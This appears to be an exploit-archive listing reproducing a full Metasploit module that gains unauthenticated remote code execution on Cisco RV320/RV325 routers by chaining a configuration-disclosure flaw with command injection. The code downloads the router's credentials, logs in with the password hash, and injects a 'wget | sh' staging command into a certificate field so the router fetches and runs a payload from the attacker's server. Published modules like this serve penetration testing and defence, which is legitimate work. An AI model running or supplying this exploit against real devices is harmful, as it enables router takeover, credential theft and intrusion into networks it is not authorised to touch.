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Cisco RV320 / RV325 Unauthenticated Remote Code Execution

Cisco RV320 / RV325 Unauthenticated Remote Code Execution
Posted Mar 30, 2019
Authored by Philip Huppert, RedTeam Pentesting GmbH, Benjamin Grap | Site metasploit.com

This Metasploit module combines an information disclosure (CVE-2019-1653) and a command injection vulnerability (CVE-2019-1652) together to gain unauthenticated remote code execution on Cisco RV320 and RV325 small business routers. Can be exploited via the WAN interface of the router. Either via HTTPS on port 443 or HTTP on port 8007 on some older firmware versions.

tags | exploit, remote, web, code execution, info disclosure
systems | cisco
advisories | CVE-2019-1652, CVE-2019-1653
MD5 | 7c621eb89c6b32e552d814e012fad4b9

Cisco RV320 / RV325 Unauthenticated Remote Code Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking


include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::CmdStager

def initialize(info={})
super(update_info(info,
'Name' => "Cisco RV320 and RV325 Unauthenticated Remote Code Execution",
'Description' => %q{
This exploit module combines an information disclosure (CVE-2019-1653)
and a command injection vulnerability (CVE-2019-1652) together to gain
unauthenticated remote code execution on Cisco RV320 and RV325 small business
routers. Can be exploited via the WAN interface of the router. Either via HTTPS
on port 443 or HTTP on port 8007 on some older firmware versions.
},
'License' => MSF_LICENSE,
'Author' => [
'RedTeam Pentesting GmbH', # Discovery, Metasploit
'Philip Huppert', # Discovery
'Benjamin Grap' # Metasploit
],
'References' => [
[ 'CVE','2019-1653' ],
[ 'CVE','2019-1652' ],
[ 'EDB','46243' ],
[ 'BID','106728' ],
[ 'BID','106732' ],
[ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-002/-cisco-rv320-unauthenticated-configuration-export' ],
[ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-004/-cisco-rv320-command-injection' ]
],
'Platform' => 'linux',
'Targets' =>
[
[ 'LINUX MIPS64',
{
'Platform' => 'linux',
'Arch' => ARCH_MIPS64
}
]
],
'Payload' =>
{
'BadChars' => ""
},
'CmdStagerFlavor' => [ 'bourne' ],
'Privileged' => true,
'DisclosureDate' => "Sep 9 2018",
'DefaultTarget' => 0))

register_options([
Opt::RPORT(8007), # port of Cisco webinterface
OptString.new('URIPATH', [true, 'The path for the stager. Keep set to default! (We are limited to 50 chars for the initial command.)', '/']),
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15]),
OptBool.new('USE_SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]) # Don't use 'SSL' option to prevent HttpServer from picking this up.
])
deregister_options('SSL') # prevent SSL in HttpServer and resulting payload requests since the injected wget command will not work with '--no-check-certificate' option.
deregister_options('SSLCert') # not required since stager only uses HTTP.
end

def execute_command(cmd, opts = {})
# use generated payload, we don't have to do anything here
end

def autofilter
true
end

def on_request_uri(cli, req)
print_status("#{peer} - Payload request received: #{req.uri}")
@cmdstager = generate_cmdstager().join(';')
send_response(cli, "#{@cmdstager}")
end

def primer
payload_url = get_uri
print_status("Downloading configuration from #{peer}")
if(datastore['USE_SSL'])
print_status("Using SSL connection to router.")
end
res = send_request_cgi({
'uri' => normalize_uri("cgi-bin","config.exp"),
'SSL' => datastore['USE_SSL']
})
unless res
vprint_error('Connection failed.')
return nil
end

unless res.code == 200
vprint_error('Could not download config. Aborting.')
return nil
end

print_status("Successfully downloaded config")
username = res.body.match(/^USERNAME=([a-zA-Z]+)/)[1]
pass = res.body.match(/^PASSWD=(\h+)/)[1]
authkey = "1964300002"
print_status("Got MD5-Hash: #{pass}")
print_status("Loging in as user #{username} using password hash.")
print_status("Using default auth_key #{authkey}")
res2 = send_request_cgi({
'uri' => normalize_uri("cgi-bin","userLogin.cgi"),
'SSL' => datastore['USE_SSL'],
'method' => 'POST',
'data' => "login=true&portalname=CommonPortal&password_expired=0&auth_key=#{authkey}&auth_server_pw=Y2lzY28%3D&submitStatus=0&pdStrength=1&username=#{username}&password=#{pass}&LanguageList=Deutsch&current_password=&new_password=&re_new_password="
})

unless res
vprint_error('Connection failed during login. Aborting.')
return nil
end

unless res.code == 200
vprint_error('Login failed with downloaded credentials. Aborting.')
return nil
end

#Extract authentication cookies
cookies = res2.get_cookies()
print_status("Successfully logged in as user #{username}.")
print_status("Got cookies: #{cookies}")
print_status("Sending payload. Staging via #{payload_url}.")
#Build staging command
command_string = CGI::escape("'$(wget -q -O- #{payload_url}|sh)'")
if(command_string.length <= 63)
print_status("Staging command length looks good. Sending exploit!")
else
vprint_error("Warning: Staging command length probably too long. Trying anyway...")
end

res3 = send_request_cgi({
'uri' => normalize_uri("certificate_handle2.htm"),
'SSL' => datastore['USE_SSL'],
'method' => 'POST',
'cookie' => cookies,
'vars_get' => {
'type' => '4',
},
'vars_post' => {
'page' => 'self_generator.htm',
'totalRules' => '1',
'OpenVPNRules' => '30',
'submitStatus' => '1',
'log_ch' => '1',
'type' => '4',
'Country' => 'A',
'state' => 'A',
'locality' => 'A',
'organization' => 'A',
'organization_unit' => 'A',
'email' => 'any@example.com',
'KeySize' => '512',
'KeyLength' => '1024',
'valid_days' => '30',
'SelectSubject_c' => '1',
'SelectSubject_s' => '1'
},
'data' => "common_name=#{command_string}"
})
unless res3
vprint_error('Connection failed while sending command. Aborting.')
return nil
end

unless res3.code == 200
vprint_error('Sending command not successful.')
return nil
end
print_status("Sending payload timed out. Waiting for stager to connect...")
end

def check
#Check if device is vulnerable by downloading the config
res = send_request_cgi({'uri'=>normalize_uri("cgi-bin","config.exp")})

unless res
vprint_error('Connection failed.')
return CheckCode::Unknown
end

unless res.code == 200
return CheckCode::Safe
end

unless res.body =~ /PASSWD/
return CheckCode::Detected
end

CheckCode::Vulnerable
end

def exploit
# Main function.
# Setting delay for the Stager.
Timeout.timeout(datastore['HTTPDELAY']) {super}
rescue Timeout::Error
print_status("Waiting for stager connection timed out. Try increasing the delay.")
end
end
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